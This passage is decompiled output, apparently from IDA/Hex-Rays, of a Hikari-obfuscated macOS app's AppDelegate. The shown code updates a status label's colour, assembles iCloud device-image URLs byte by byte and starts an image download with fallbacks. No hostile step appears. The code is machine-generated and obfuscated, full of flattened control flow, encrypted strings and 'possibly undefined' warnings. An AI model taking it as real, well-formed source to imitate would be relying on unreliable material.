*v14 = -219860169;
}
else if ( v13 == 924262746 )
{
*v14 = 2132641932;
}
else if ( v13 == 1429112282 )
{
v8 = a4;
v9 = v12;
v10 = a3;
objc_retain(a3);
objc_retain(a4);
dispatch_async(&_dispatch_main_q, block);
objc_release(v10);
v11 = v8;
v6 = 924262746;
goto LABEL_17;
}
}
if ( v13 <= -331575839 )
break;
if ( v13 == -331575838 )
{
v6 = 1429112282;
LABEL_17:
*v14 = v6;
}
else if ( v13 == -219860169 )
{
objc_release(v11);
objc_release(a3);
objc_release(a4);
*v14 = -1360505177;
}
}
if ( v13 != -1464185627 )
break;
v8 = a4;
v9 = v12;
v10 = a3;
objc_retain(a3);
objc_retain(a4);
dispatch_async(&_dispatch_main_q, block);
objc_release(v10);
*v14 = 1429112282;
}
}
while ( v13 != -1360505177 );
}
//----- (00000001000F6F83) ----------------------------------------------------
void __fastcall __50__AppDelegate_NSControlUpdateProgress_withStatus___block_invoke(__int64 a1)
{
bool v1; // zf
int v2; // eax
int v3; // ecx
char v4; // cf
int v5; // ecx
id v6; // rax
id v7; // rax
char v8; // cf
int v9; // ecx
bool v10; // zf
int v11; // ecx
unsigned __int8 v12; // al
id v13; // rax
id v14; // rax
unsigned __int8 v15; // al
id v16; // rax
id v17; // rax
id v18; // rax
id v19; // rax
id v20; // rax
NSColor *v21; // rax
id v22; // rax
void *v23; // r14
id v24; // [rsp+0h] [rbp-D0h]
void *v25; // [rsp+8h] [rbp-C8h]
id v26; // [rsp+10h] [rbp-C0h]
id v27; // [rsp+18h] [rbp-B8h]
id v28; // [rsp+20h] [rbp-B0h]
const char *v29; // [rsp+28h] [rbp-A8h]
id v30; // [rsp+30h] [rbp-A0h]
id v31; // [rsp+38h] [rbp-98h]
id v32; // [rsp+40h] [rbp-90h]
void *v33; // [rsp+48h] [rbp-88h]
__int64 v34; // [rsp+50h] [rbp-80h]
int v35; // [rsp+68h] [rbp-68h]
int v36; // [rsp+6Ch] [rbp-64h] BYREF
id *v37; // [rsp+70h] [rbp-60h]
SEL v38; // [rsp+78h] [rbp-58h]
id v39; // [rsp+80h] [rbp-50h]
id v40; // [rsp+88h] [rbp-48h]
id v41; // [rsp+90h] [rbp-40h]
bool v42; // [rsp+99h] [rbp-37h]
char v43; // [rsp+9Ah] [rbp-36h]
unsigned __int8 v44; // [rsp+9Bh] [rbp-35h]
bool v45; // [rsp+9Ch] [rbp-34h]
unsigned __int8 v46; // [rsp+9Dh] [rbp-33h]
bool v47; // [rsp+9Eh] [rbp-32h]
char v48; // [rsp+9Fh] [rbp-31h]
int *v49; // [rsp+A0h] [rbp-30h]
v36 = 1150008932;
v49 = &v36;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v36 <= -132614159 )
{
if ( v36 > -979810801 )
{
if ( v36 > -557698145 )
{
if ( v36 <= -451468763 )
{
if ( v36 <= -515638498 )
{
if ( v36 == -557698144 )
{
v10 = !v47;
v2 = -132614158;
v11 = 1194697541;
goto LABEL_212;
}
if ( v36 == -553184243 )
{
v4 = 0;
v2 = -1681986919;
v5 = 885434242;
goto LABEL_193;
}
}
else
{
switch ( v36 )
{
case -515638497:
v1 = 0;
v2 = 1111808296;
v3 = 2091695444;
goto LABEL_206;
case -500537158:
*v49 = -2078120342;
break;
case -485466765:
objc_msgSend(v32, v38, CFSTR("\x06\xEF\xA5\x28\x95\x1C\x93^"));
*v49 = 1092777804;
break;
}
}
}
else if ( v36 > -310741602 )
{
switch ( v36 )
{
case -310741601:
v8 = 1;
v32 = *v37;
v2 = 1952038342;
v9 = -310741601;
goto LABEL_216;
case -164897087:
*v49 = 2013165647;
break;
case -141610782:
v12 = (unsigned __int8)objc_msgSend(*v37, v38, CFSTR("\x03\x91\xAF\xBB!\xA8"));
v1 = 0;
v46 = v12;
v2 = 1236105744;
v3 = -615687622;
goto LABEL_206;
}
}
else
{
switch ( v36 )
{
case -451468762:
asc_10027C026[2] = (v48 | 0xCD) & (~v48 | 0x32);
asc_10027C026[3] = 110;
asc_10027C026[4] = 105;
asc_10027C026[5] = 110;
asc_10027C026[6] = 103;
asc_10027C026[7] = 0;
asc_10027CC88[0] = 83;
asc_10027CC88[1] = 117;
v8 = 1;
v43 = 99;
v2 = -949161774;
v9 = -1347867775;
goto LABEL_216;
case -404305611:
v1 = 0;
v2 = -825180872;
goto LABEL_169;
case -378588275:
v4 = 0;
v2 = -451468762;
v5 = -1347867775;
goto LABEL_193;
}
}
}
else if ( v36 <= -762225250 )
{
if ( v36 <= -897795384 )
{
if ( v36 == -979810800 )
{
*v49 = -1529923259;
}
else if ( v36 == -949161774 )
{
*v49 = 534896133;
}
}
else
{
switch ( v36 )
{
case -897795383:
*v49 = -1769400643;
break;
case -825180872:
v16 = HikariFunctionWrapper_17263(v33, "colorWithCalibratedRed:green:blue:alpha:");
v17 = objc_retainAutoreleasedReturnValue(v16);
v1 = 0;
v27 = v17;
v2 = -1427779842;
LABEL_169:
v3 = -762225249;
goto LABEL_206;
case -804325132:
LABEL_101:
*v49 = -697617060;
break;
}
}
}
else if ( v36 > -653266271 )
{
switch ( v36 )
{
case -653266270:
*v49 = 671053438;
v41 = v27;
break;
case -615687622:
objc_msgSend(*v37, v38, CFSTR("\x03\x91\xAF\xBB!\xA8"));
*v49 = -141610782;
break;
case -603217340:
v4 = 1;
v2 = 563478005;
v5 = 2054441461;
goto LABEL_193;
}
}
else
{
switch ( v36 )
{
case -762225249:
v22 = HikariFunctionWrapper_17269(v33, "colorWithCalibratedRed:green:blue:alpha:");
objc_retainAutoreleasedReturnValue(v22);
*v49 = -825180872;
break;
case -711628060:
v4 = 1;
v2 = -711628060;
v5 = -557698144;
goto LABEL_193;
case -697617060:
v4 = 1;
asc_10027C026[0] = 87;
asc_10027C026[1] = 97;
v48 = -65;
v2 = -1430268030;
v5 = 1217547900;
goto LABEL_193;
}
}
}
else if ( v36 > -1427779843 )
{
if ( v36 <= -1185275015 )
{
if ( v36 <= -1347867776 )
{
if ( v36 == -1427779842 )
{
*v49 = 1751440133;
}
else if ( v36 == -1391575100 )
{
v8 = 0;
v2 = -1734710546;
v9 = -2003842453;
goto LABEL_216;
}
}
else
{
switch ( v36 )
{
case -1347867775:
asc_10027C026[2] = v48 ^ 0xCD;
asc_10027C026[3] = 110;
asc_10027C026[4] = 105;
asc_10027C026[5] = 110;
asc_10027C026[6] = 103;
asc_10027C026[7] = 0;
asc_10027CC88[0] = 83;
asc_10027CC88[1] = 117;
*v49 = -451468762;
break;
case -1265589287:
v8 = 1;
v2 = 2015175917;
v9 = 1466836962;
goto LABEL_216;
case -1262492998:
v8 = 1;
v2 = -2078120342;
v9 = -500537158;
goto LABEL_216;
}
}
}
else if ( v36 > -1044096346 )
{
switch ( v36 )
{
case -1044096345:
*v49 = 2120696627;
break;
case -1037204175:
*v49 = -1045816818;
break;
case -1003195917:
*v49 = 260532303;
break;
}
}
else
{
switch ( v36 )
{
case -1185275014:
v33 = &OBJC_CLASS___NSColor;
*v49 = -404305611;
break;
case -1076189693:
v8 = 1;
v2 = -1553377752;
v9 = -41681901;
goto LABEL_216;
case -1045816818:
v6 = HikariFunctionWrapper_17261(v25, "colorWithRed:green:blue:alpha:");
v26 = objc_retainAutoreleasedReturnValue(v6);
*v49 = 959658558;
break;
}
}
}
else if ( v36 <= -1734710547 )
{
if ( v36 <= -1870727425 )
{
if ( v36 == -2078120342 )
{
v10 = 0;
v2 = -500537158;
v11 = 1518530949;
goto LABEL_212;
}
if ( v36 == -2003842453 )
{
objc_msgSend(v40, "containsString:", v34);
objc_release(v40);
v13 = HikariFunctionWrapper_17267(&OBJC_CLASS___NSColor, "whiteColor");
v31 = objc_retainAutoreleasedReturnValue(v13);
objc_release(v39);
v4 = 1;
v2 = -2003842453;
v5 = 149433768;
goto LABEL_193;
}
}
else
{
switch ( v36 )
{
case -1870727424:
v20 = objc_msgSend(v28, v29, 1.0, 0.0, 0.0, 1.0);
v30 = objc_retainAutoreleasedReturnValue(v20);
*v49 = -1262492998;
break;
case -1843005919:
*v49 = 1900062407;
break;
case -1769400643:
v45 = v44 == 0;
v4 = 1;
v2 = -1769400643;
v5 = 321689224;
goto LABEL_193;
}
}
}
else if ( v36 > -1553377753 )
{
switch ( v36 )
{
case -1553377752:
v4 = 0;
v2 = 1534173126;
v5 = -1553377752;
LABEL_193:
if ( v4 )
v2 = v5;
goto LABEL_218;
case -1529923259:
v4 = 1;
v28 = &OBJC_CLASS___NSColor;
v29 = "colorWithRed:green:blue:alpha:";
v2 = -1529923259;
v5 = 731396793;
goto LABEL_193;
case -1430268030:
asc_10027C026[0] = 87;
asc_10027C026[1] = 97;
goto LABEL_101;
}
}
else
{
switch ( v36 )
{
case -1734710546:
HikariFunctionWrapper_17273(v40, "containsString:");
objc_release(v40);
v21 = +[NSColor whiteColor](&OBJC_CLASS___NSColor, "whiteColor");
objc_retainAutoreleasedReturnValue(v21);
objc_release(v39);
*v49 = -2003842453;
break;
case -1681986919:
v18 = objc_msgSend(v39, "name");
v19 = objc_retainAutoreleasedReturnValue(v18);
v8 = 0;
v40 = v19;
v34 = -1;
v2 = 885434242;
v9 = 1392426421;
goto LABEL_216;
case -1656822355:
v38 = "isEqualToString:";
v1 = (unsigned __int8)objc_msgSend(v24, "isEqualToString:", CFSTR("\x05\x80\xDF\x30\\q\xAE\x97")) == 0;
v2 = -515638497;
v3 = 695756483;
goto LABEL_206;
}
}
}
if ( v36 <= 1150008931 )
break;
if ( v36 > 1634881576 )
{
if ( v36 <= 2013165646 )
{
if ( v36 <= 1751440132 )
{
if ( v36 == 1634881577 )
{
*v49 = -1265589287;
}
else if ( v36 == 1669260845 )
{
*v49 = 856617601;
}
}
else
{
switch ( v36 )
{
case 1751440133:
v1 = 0;
v2 = 1900062407;
v3 = -1843005919;
LABEL_206:
if ( v1 )
v2 = v3;
goto LABEL_218;
case 1900062407:
v8 = 0;
v2 = -1843005919;
v9 = -653266270;
goto LABEL_216;
case 1952038342:
*v49 = 1054442592;
break;
}
}
}
else if ( v36 > 2091695443 )
{
switch ( v36 )
{
case 2091695444:
*v49 = 1111808296;
break;
case 2106089439:
*v49 = -310741601;
break;
case 2120696627:
v10 = 0;
v2 = 102311075;
v11 = -711628060;
goto LABEL_212;
}
}
else
{
switch ( v36 )
{
case 2013165647:
v8 = 1;
v2 = -1769400643;
v9 = -897795383;
LABEL_216:
if ( !v8 )
v2 = v9;
goto LABEL_218;
case 2015175917:
v42 = v35 == 0;
v8 = 0;
v2 = 1466836962;
v9 = 446229914;
goto LABEL_216;
case 2054441461:
v1 = 0;
dword_10029F544 = 1;
v37 = (id *)(a1 + 32);
v2 = 535687289;
v3 = 2054441461;
goto LABEL_206;
}
}
}
else if ( v36 <= 1394896557 )
{
if ( v36 <= 1217547899 )
{
if ( v36 == 1150008932 )
{
v4 = 0;
v2 = 1429827500;
v5 = 729245137;
goto LABEL_193;
}
if ( v36 == 1194697541 )
{
v14 = HikariFunctionWrapper_17265((void *)0xFFFFFFFFFFFFFFFFLL, "effectiveAppearance");
v39 = objc_retainAutoreleasedReturnValue(v14);
*v49 = -553184243;
}
}
else
{
switch ( v36 )
{
case 1217547900:
*v49 = -378588275;
break;
case 1236105744:
*v49 = 1043858750;
break;
case 1392426421:
*v49 = -1391575100;
break;
}
}
}
else if ( v36 > 1518530948 )
{
switch ( v36 )
{
case 1518530949:
*v49 = 671053438;
v41 = v30;
break;
case 1534173126:
v10 = !v42;
v2 = -603217340;
v11 = -804325132;
goto LABEL_212;
case 1634260350:
*v49 = 1669260845;
break;
}
}
else
{
switch ( v36 )
{
case 1394896558:
v10 = 0;
v2 = -615687622;
v11 = -141610782;
LABEL_212:
if ( !v10 )
v2 = v11;
LABEL_218:
*v49 = v2;
break;
case 1429827500:
v8 = 1;
v35 = dword_10029F544;
v2 = 1634881577;
v9 = 729245137;
goto LABEL_216;
case 1466836962:
*v49 = 2015175917;
break;
}
}
}
if ( v36 > 671053437 )
break;
if ( v36 <= 321689223 )
{
if ( v36 <= 102311074 )
{
if ( v36 == -132614158 )
{
v8 = 0;
v2 = -979810800;
v9 = -1529923259;
goto LABEL_216;
}
if ( v36 == -41681901 )
*v49 = -1553377752;
}
else
{
switch ( v36 )
{
case 102311075:
*v49 = -711628060;
break;
case 149433768:
*v49 = 671053438;
v41 = v31;
break;
case 260532303:
v47 = v46 == 0;
v10 = 0;
v2 = 260532303;
v11 = -1044096345;
goto LABEL_212;
}
}
}
else if ( v36 > 534896132 )
{
switch ( v36 )
{
case 534896133:
asc_10027CC88[2] = v43;
asc_10027CC88[3] = 99;
asc_10027CC88[4] = 101;
asc_10027CC88[5] = 115;
asc_10027CC88[6] = 115;
asc_10027CC88[7] = 0;
asc_10027C193[0] = 69;
asc_10027C193[1] = 114;
asc_10027C193[2] = 114;
asc_10027C193[3] = 111;
asc_10027C193[4] = 114;
asc_10027C193[5] = 0;
*v49 = -603217340;
break;
case 535687289:
*v49 = 468559273;
break;
case 563478005:
dword_10029F544 = 1;
*v49 = 2054441461;
break;
}
}
else
{
switch ( v36 )
{
case 321689224:
v10 = !v45;
v2 = -1185275014;
v11 = 1394896558;
goto LABEL_212;
case 446229914:
*v49 = -1076189693;
break;
case 468559273:
v24 = *v37;
*v49 = -1656822355;
break;
}
}
}
if ( v36 <= 959658557 )
break;
if ( v36 <= 1054442591 )
{
if ( v36 == 959658558 )
{
v10 = 0;
v2 = 1634260350;
v11 = 1669260845;
goto LABEL_212;
}
if ( v36 == 1043858750 )
{
v8 = 1;
v2 = 260532303;
v9 = -1003195917;
goto LABEL_216;
}
}
else
{
switch ( v36 )
{
case 1054442592:
v4 = 1;
v2 = -485466765;
v5 = 1092777804;
goto LABEL_193;
case 1092777804:
v15 = (unsigned __int8)objc_msgSend(v32, v38, CFSTR("\x06\xEF\xA5\x28\x95\x1C\x93^"));
v8 = 1;
v44 = v15;
v2 = -164897087;
v9 = -485466765;
goto LABEL_216;
case 1111808296:
v8 = 1;
v25 = &OBJC_CLASS___NSColor;
v2 = -1037204175;
v9 = 1111808296;
goto LABEL_216;
}
}
}
if ( v36 <= 731396792 )
break;
switch ( v36 )
{
case 731396793:
*v49 = -1870727424;
break;
case 856617601:
*v49 = 671053438;
v41 = v26;
break;
case 885434242:
v7 = HikariFunctionWrapper_17271(v39, "name");
objc_retainAutoreleasedReturnValue(v7);
*v49 = -1681986919;
break;
}
}
if ( v36 == 695756483 )
{
v8 = 1;
v2 = -310741601;
v9 = 2106089439;
goto LABEL_216;
}
if ( v36 != 729245137 )
break;
*v49 = 1429827500;
}
}
while ( v36 != 671053438 );
v23 = v41;
objc_msgSend(*(id *)(*(_QWORD *)(a1 + 40) + 64LL), "setStringValue:", *(_QWORD *)(a1 + 48));
objc_msgSend(*(id *)(*(_QWORD *)(a1 + 40) + 64LL), "setTextColor:", v23);
objc_release(v23);
}
// 1000F7059: variable 'v24' is possibly undefined
// 1000F7235: variable 'v25' is possibly undefined
// 1000F7605: variable 'v32' is possibly undefined
// 1000F79FB: variable 'v34' is possibly undefined
// 1000F7D1A: variable 'v33' is possibly undefined
// 1000F7DA5: variable 'v26' is possibly undefined
// 1000F8013: variable 'v31' is possibly undefined
// 1000F803B: variable 'v28' is possibly undefined
// 1000F803B: variable 'v29' is possibly undefined
// 1000F8387: variable 'v27' is possibly undefined
// 1000F847B: variable 'v35' is possibly undefined
// 1000F866A: variable 'v30' is possibly undefined
// 10027CCB0: using guessed type __CFString stru_10027CCB0;
// 10027CCF0: using guessed type __CFString stru_10027CCF0;
// 10027CD30: using guessed type __CFString stru_10027CD30;
// 10029F544: using guessed type int dword_10029F544;
//----- (00000001000F86DA) ----------------------------------------------------
void __cdecl -[AppDelegate updateDeviceImageForClass:andProductType:andDeviceColor:andColor2:](
AppDelegate *self,
SEL a2,
id a3,
id a4,
id a5,
id a6)
{
bool v8; // zf
int v9; // eax
int v10; // ecx
bool v11; // cf
int v12; // ecx
id *v13; // r14
id v14; // rax
id v15; // r13
id v16; // rax
id v17; // r14
id v18; // rbx
id v19; // rax
id v20; // rax
id v21; // rax
char v22; // cf
int v23; // ecx
id *v24; // r14
id v25; // rax
id v26; // rax
id v27; // rax
id v28; // [rsp-10h] [rbp-D0h]
id v29; // [rsp-8h] [rbp-C8h]
__int64 v30; // [rsp+0h] [rbp-C0h] BYREF
id v31; // [rsp+8h] [rbp-B8h]
id v32; // [rsp+10h] [rbp-B0h]
id v33; // [rsp+18h] [rbp-A8h]
id *v34; // [rsp+20h] [rbp-A0h]
SEL v35; // [rsp+28h] [rbp-98h]
id v36; // [rsp+30h] [rbp-90h]
unsigned int v37; // [rsp+3Ch] [rbp-84h]
int v38; // [rsp+40h] [rbp-80h]
int v39; // [rsp+44h] [rbp-7Ch] BYREF
id v40; // [rsp+48h] [rbp-78h]
id v41; // [rsp+50h] [rbp-70h]
id v42; // [rsp+58h] [rbp-68h]
id v43; // [rsp+60h] [rbp-60h]
id v44; // [rsp+68h] [rbp-58h]
SEL v45; // [rsp+70h] [rbp-50h]
id *v46; // [rsp+78h] [rbp-48h]
bool v47; // [rsp+86h] [rbp-3Ah]
char v48; // [rsp+87h] [rbp-39h]
int *v49; // [rsp+88h] [rbp-38h]
__int64 v50; // [rsp+90h] [rbp-30h]
v32 = a6;
v33 = a5;
v36 = self;
v50 = -1;
v37 = 0;
v39 = 1677699949;
v49 = &v39;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v39 > 764233580 )
{
if ( v39 <= 1452628407 )
{
if ( v39 > 1029489853 )
{
switch ( v39 )
{
case 1029489854:
v22 = 1;
v38 = dword_10029F548;
v9 = 1163595629;
v23 = -798560865;
goto LABEL_65;
case 1163595629:
*v49 = 1562941474;
break;
case 1410952471:
LABEL_41:
*v49 = 860403620;
break;
}
}
else
{
switch ( v39 )
{
case 764233581:
*v49 = 1956274490;
break;
case 860403620:
asc_10027CDD0[7] = 47;
asc_10027CDD0[8] = 115;
asc_10027CDD0[9] = 116;
asc_10027CDD0[10] = 97;
asc_10027CDD0[11] = 116;
asc_10027CDD0[12] = 105;
asc_10027CDD0[13] = 99;
asc_10027CDD0[14] = 105;
asc_10027CDD0[15] = 46;
asc_10027CDD0[16] = 105;
asc_10027CDD0[17] = 99;
asc_10027CDD0[18] = 108;
asc_10027CDD0[19] = 111;
asc_10027CDD0[20] = 117;
asc_10027CDD0[21] = 100;
asc_10027CDD0[22] = 46;
asc_10027CDD0[23] = 99;
asc_10027CDD0[24] = 111;
asc_10027CDD0[25] = 109;
asc_10027CDD0[26] = 47;
asc_10027CDD0[27] = 102;
asc_10027CDD0[28] = 109;
asc_10027CDD0[29] = 105;
asc_10027CDD0[30] = 112;
asc_10027CDD0[31] = 109;
asc_10027CDD0[32] = 111;
asc_10027CDD0[33] = 98;
asc_10027CDD0[34] = 105;
asc_10027CDD0[35] = 108;
asc_10027CDD0[36] = 101;
asc_10027CDD0[37] = 47;
asc_10027CDD0[38] = 100;
asc_10027CDD0[39] = 101;
asc_10027CDD0[40] = 118;
asc_10027CDD0[41] = 105;
asc_10027CDD0[42] = 99;
asc_10027CDD0[43] = 101;
asc_10027CDD0[44] = 73;
asc_10027CDD0[45] = 109;
asc_10027CDD0[46] = 97;
asc_10027CDD0[47] = 103;
asc_10027CDD0[48] = 101;
asc_10027CDD0[49] = 115;
asc_10027CDD0[50] = 45;
asc_10027CDD0[51] = 57;
asc_10027CDD0[52] = 46;
asc_10027CDD0[53] = 48;
asc_10027CDD0[54] = 0;
strcpy(asc_10027CD70, "%@/%@/%@/online-infobox__3x.png");
v8 = 0;
v9 = -554980350;
v10 = 865232276;
LABEL_69:
if ( !v8 )
v9 = v10;
LABEL_71:
*v49 = v9;
break;
case 865232276:
*v49 = 1452628408;
break;
}
}
}
else if ( v39 <= 1717139222 )
{
switch ( v39 )
{
case 1452628408:
dword_10029F548 = 1;
v46 = (id *)(&v30 - 4);
v31 = &OBJC_CLASS___NSString;
v45 = "stringWithFormat:";
v17 = v32;
objc_retain(v32);
v18 = v33;
objc_retain(v33);
objc_retain(a4);
objc_retain(a3);
v19 = objc_msgSend(
v31,
v45,
CFSTR("\x01Ak\xA0\x9F\"P\xC6\x0B\x1Be\x1D\x1A\xA7\xCC\xE6\x0F\xF8%\xCE\xC5p{\xE1\x71\xC8\xA7\xB8\x9A\xB8\x1B\xF7\x53\x12\xBEV\xCD\x6F"),
CFSTR("\x03=\xEE\x56\x46%\rXC\x02\xDE\x48\xED\x4D\x40w{1\xD0\xCF\xD4\x04\xC3\x60?\x9D\xA7\x83\xC8\xD3\x1A^\xE2\xE5\x3A\xC1\x0B\x02\x7F\xE5\xEE\x42\x9B9\xC5\x62b=X\b\xE4\xEE\xCCh\x02"),
a3,
a4,
v18,
v17);
v42 = objc_retainAutoreleasedReturnValue(v19);
v29 = v17;
v28 = v18;
v20 = HikariFunctionWrapper_17275(&OBJC_CLASS___NSString, v45);
v40 = objc_retainAutoreleasedReturnValue(v20);
objc_release(v17);
objc_release(v18);
*v46 = v40;
v34 = v46 + 1;
v21 = objc_msgSend(
&OBJC_CLASS___NSString,
v45,
CFSTR("'\xAC\xA7\xB1\x12ˠwv$\xBCI~\xC4\x62˘\xE0\x1E\xE0\xE0\x3E\x5Ai\ve\x02\xC5\x44Lk"),
CFSTR("\x03=\xEE\x56\x46%\rXC\x02\xDE\x48\xED\x4D\x40w{1\xD0\xCF\xD4\x04\xC3\x60?\x9D\xA7\x83\xC8\xD3\x1A^\xE2\xE5\x3A\xC1\x0B\x02\x7F\xE5\xEE\x42\x9B9\xC5\x62b=X\b\xE4\xEE\xCCh\x02"),
a3,
a4);
v43 = objc_retainAutoreleasedReturnValue(v21);
*v49 = 1717139223;
break;
case 1562941474:
v22 = 1;
v9 = 197487563;
v23 = -1204136261;
goto LABEL_65;
case 1677699949:
v11 = v37 < 0xE12D774C;
v9 = -798560865;
v12 = 1029489854;
goto LABEL_60;
}
}
else if ( v39 > 1855209116 )
{
if ( v39 == 1855209117 )
{
v11 = 1;
v9 = -1425910239;
v12 = -1437712201;
goto LABEL_60;
}
if ( v39 == 1956274490 )
{
v8 = !v47;
v9 = 1452628408;
v10 = -1390156750;
goto LABEL_69;
}
}
else
{
if ( v39 == 1717139223 )
{
v8 = 0;
v9 = -243353463;
v10 = -922322495;
goto LABEL_69;
}
if ( v39 == 1811738938 )
{
HikariFunctionWrapper_17285(v36, v35);
objc_release(v44);
objc_release(v41);
objc_release(v43);
objc_release(v40);
objc_release(v42);
*v49 = -1059000026;
}
}
}
if ( v39 > -922322496 )
break;
if ( v39 <= -1390156751 )
{
switch ( v39 )
{
case -1507146111:
*v49 = 758798559;
break;
case -1437712201:
aAk[6] = v48;
aAk[7] = 64;
aAk[8] = 45;
aAk[9] = 37;
aAk[10] = 64;
aAk[11] = 45;
aAk[12] = 37;
aAk[13] = 64;
aAk[14] = 47;
aAk[15] = 111;
aAk[16] = 110;
aAk[17] = 108;
aAk[18] = 105;
aAk[19] = 110;
aAk[20] = 101;
aAk[21] = 45;
aAk[22] = 105;
aAk[23] = 110;
aAk[24] = 102;
aAk[25] = 111;
aAk[26] = 98;
aAk[27] = 111;
aAk[28] = 120;
aAk[29] = 95;
aAk[30] = 95;
aAk[31] = 51;
aAk[32] = 120;
aAk[33] = 46;
aAk[34] = 112;
aAk[35] = 110;
aAk[36] = 103;
aAk[37] = 0;
strcpy(aW_9, "%@/%@/%@-%@-%@-0/online-infobox__3x.png");
asc_10027CDD0[0] = 104;
asc_10027CDD0[1] = 116;
asc_10027CDD0[2] = 116;
asc_10027CDD0[3] = 112;
asc_10027CDD0[4] = 115;
asc_10027CDD0[5] = 58;
v22 = 0;
asc_10027CDD0[6] = 47;
v9 = -1437712201;
v23 = -1209800436;
LABEL_65:
if ( !v22 )
v9 = v23;
goto LABEL_71;
case -1425910239:
aAk[6] = v48;
aAk[7] = 64;
aAk[8] = 45;
aAk[9] = 37;
aAk[10] = 64;
aAk[11] = 45;
aAk[12] = 37;
aAk[13] = 64;
aAk[14] = 47;
aAk[15] = 111;
aAk[16] = 110;
aAk[17] = 108;
aAk[18] = 105;
aAk[19] = 110;
aAk[20] = 101;
aAk[21] = 45;
aAk[22] = 105;
aAk[23] = 110;
aAk[24] = 102;
aAk[25] = 111;
aAk[26] = 98;
aAk[27] = 111;
aAk[28] = 120;
aAk[29] = 95;
aAk[30] = 95;
aAk[31] = 51;
aAk[32] = 120;
aAk[33] = 46;
aAk[34] = 112;
aAk[35] = 110;
aAk[36] = 103;
aAk[37] = 0;
strcpy(aW_9, "%@/%@/%@-%@-%@-0/online-infobox__3x.png");
asc_10027CDD0[0] = 104;
asc_10027CDD0[1] = 116;
asc_10027CDD0[2] = 116;
asc_10027CDD0[3] = 112;
asc_10027CDD0[4] = 115;
asc_10027CDD0[5] = 58;
asc_10027CDD0[6] = 47;
*v49 = -1437712201;
break;
}
}
else if ( v39 > -1204136262 )
{
if ( v39 == -1204136261 )
{
*v49 = 197487563;
}
else if ( v39 == -1059000026 )
{
objc_msgSend(v36, v35, v42, v44);
objc_release(v44);
objc_release(v41);
objc_release(v43);
objc_release(v40);
objc_release(v42);
v11 = 0;
v9 = -16850866;
v12 = -1059000026;
goto LABEL_60;
}
}
else if ( v39 == -1390156750 )
{
aAk[0] = 37;
aAk[1] = 64;
aAk[2] = 47;
aAk[3] = 37;
aAk[4] = 64;
aAk[5] = 47;
v48 = 37;
*v49 = 1855209117;
}
else if ( v39 == -1209800436 )
{
*v49 = 1410952471;
}
}
if ( v39 > -243353464 )
break;
switch ( v39 )
{
case -922322495:
*v34 = v43;
v24 = v46;
v25 = HikariFunctionWrapper_17277(&OBJC_CLASS___NSString, v45);
v41 = objc_retainAutoreleasedReturnValue(v25);
objc_release(a4);
objc_release(a3);
v24[2] = v41;
v26 = HikariFunctionWrapper_17279(&OBJC_CLASS___NSArray, "arrayWithObjects:count:");
v27 = objc_retainAutoreleasedReturnValue(v26);
v11 = 0;
v44 = v27;
v35 = "downloadImageFromURL:withFallbacks:";
v9 = -1507146111;
v12 = -243353463;
LABEL_60:
if ( v11 )
v9 = v12;
goto LABEL_71;
case -798560865:
*v49 = 1029489854;
break;
case -554980350:
asc_10027CDD0[7] = 47;
asc_10027CDD0[8] = 115;
asc_10027CDD0[9] = 116;
asc_10027CDD0[10] = 97;
asc_10027CDD0[11] = 116;
asc_10027CDD0[12] = 105;
asc_10027CDD0[13] = 99;
asc_10027CDD0[14] = 105;
asc_10027CDD0[15] = 46;
asc_10027CDD0[16] = 105;
asc_10027CDD0[17] = 99;
asc_10027CDD0[18] = 108;
asc_10027CDD0[19] = 111;
asc_10027CDD0[20] = 117;
asc_10027CDD0[21] = 100;
asc_10027CDD0[22] = 46;
asc_10027CDD0[23] = 99;
asc_10027CDD0[24] = 111;
asc_10027CDD0[25] = 109;
asc_10027CDD0[26] = 47;
asc_10027CDD0[27] = 102;
asc_10027CDD0[28] = 109;
asc_10027CDD0[29] = 105;
asc_10027CDD0[30] = 112;
asc_10027CDD0[31] = 109;
asc_10027CDD0[32] = 111;
asc_10027CDD0[33] = 98;
asc_10027CDD0[34] = 105;
asc_10027CDD0[35] = 108;
asc_10027CDD0[36] = 101;
asc_10027CDD0[37] = 47;
asc_10027CDD0[38] = 100;
asc_10027CDD0[39] = 101;
asc_10027CDD0[40] = 118;
asc_10027CDD0[41] = 105;
asc_10027CDD0[42] = 99;
asc_10027CDD0[43] = 101;
asc_10027CDD0[44] = 73;
asc_10027CDD0[45] = 109;
asc_10027CDD0[46] = 97;
asc_10027CDD0[47] = 103;
asc_10027CDD0[48] = 101;
asc_10027CDD0[49] = 115;
asc_10027CDD0[50] = 45;
asc_10027CDD0[51] = 57;
asc_10027CDD0[52] = 46;
asc_10027CDD0[53] = 48;
asc_10027CDD0[54] = 0;
strcpy(asc_10027CD70, "%@/%@/%@/online-infobox__3x.png");
goto LABEL_41;
}
}
if ( v39 <= 197487562 )
break;
if ( v39 == 197487563 )
{
v47 = v38 == 0;
v9 = 764233581;
goto LABEL_71;
}
if ( v39 == 758798559 )
{
v8 = 0;
v9 = 1811738938;
v10 = -1059000026;
goto LABEL_69;
}
}
if ( v39 != -243353463 )
break;
*v34 = v43;
v13 = v46;
v14 = HikariFunctionWrapper_17281(&OBJC_CLASS___NSString, v45);
v15 = objc_retainAutoreleasedReturnValue(v14);
objc_release(a4);
objc_release(a3);
v13[2] = v15;
v16 = HikariFunctionWrapper_17283(&OBJC_CLASS___NSArray, "arrayWithObjects:count:");
objc_retainAutoreleasedReturnValue(v16);
*v49 = -922322495;
}
}
while ( v39 != -16850866 );
}
// 10027CEF0: using guessed type __CFString stru_10027CEF0;
// 10027CF30: using guessed type __CFString stru_10027CF30;
// 10027CFB0: using guessed type __CFString cfstr_Ak;
// 10029F548: using guessed type int dword_10029F548;
//----- (00000001000FA4A3) ----------------------------------------------------
void __cdecl -[AppDelegate downloadImageFromURL:withFallbacks:](AppDelegate *self, SEL a2, id a3, id a4)
{
id v6; // rax
id v7; // rax
int v8; // eax
id v9; // r15
id v10; // r14
__int64 v11; // r8
__int64 v12; // r9
id v13; // rax
id v14; // r13
id v15; // r15
id v16; // r14
id v17; // rax
id v18; // r13
_QWORD v19[4]; // [rsp+0h] [rbp-A0h] BYREF
char v20; // [rsp+20h] [rbp-80h] BYREF
id v21; // [rsp+28h] [rbp-78h]
AppDelegate *v22; // [rsp+30h] [rbp-70h]
AppDelegate *v23; // [rsp+38h] [rbp-68h]
id v24; // [rsp+40h] [rbp-60h]
id v25; // [rsp+48h] [rbp-58h]
int v26; // [rsp+54h] [rbp-4Ch] BYREF
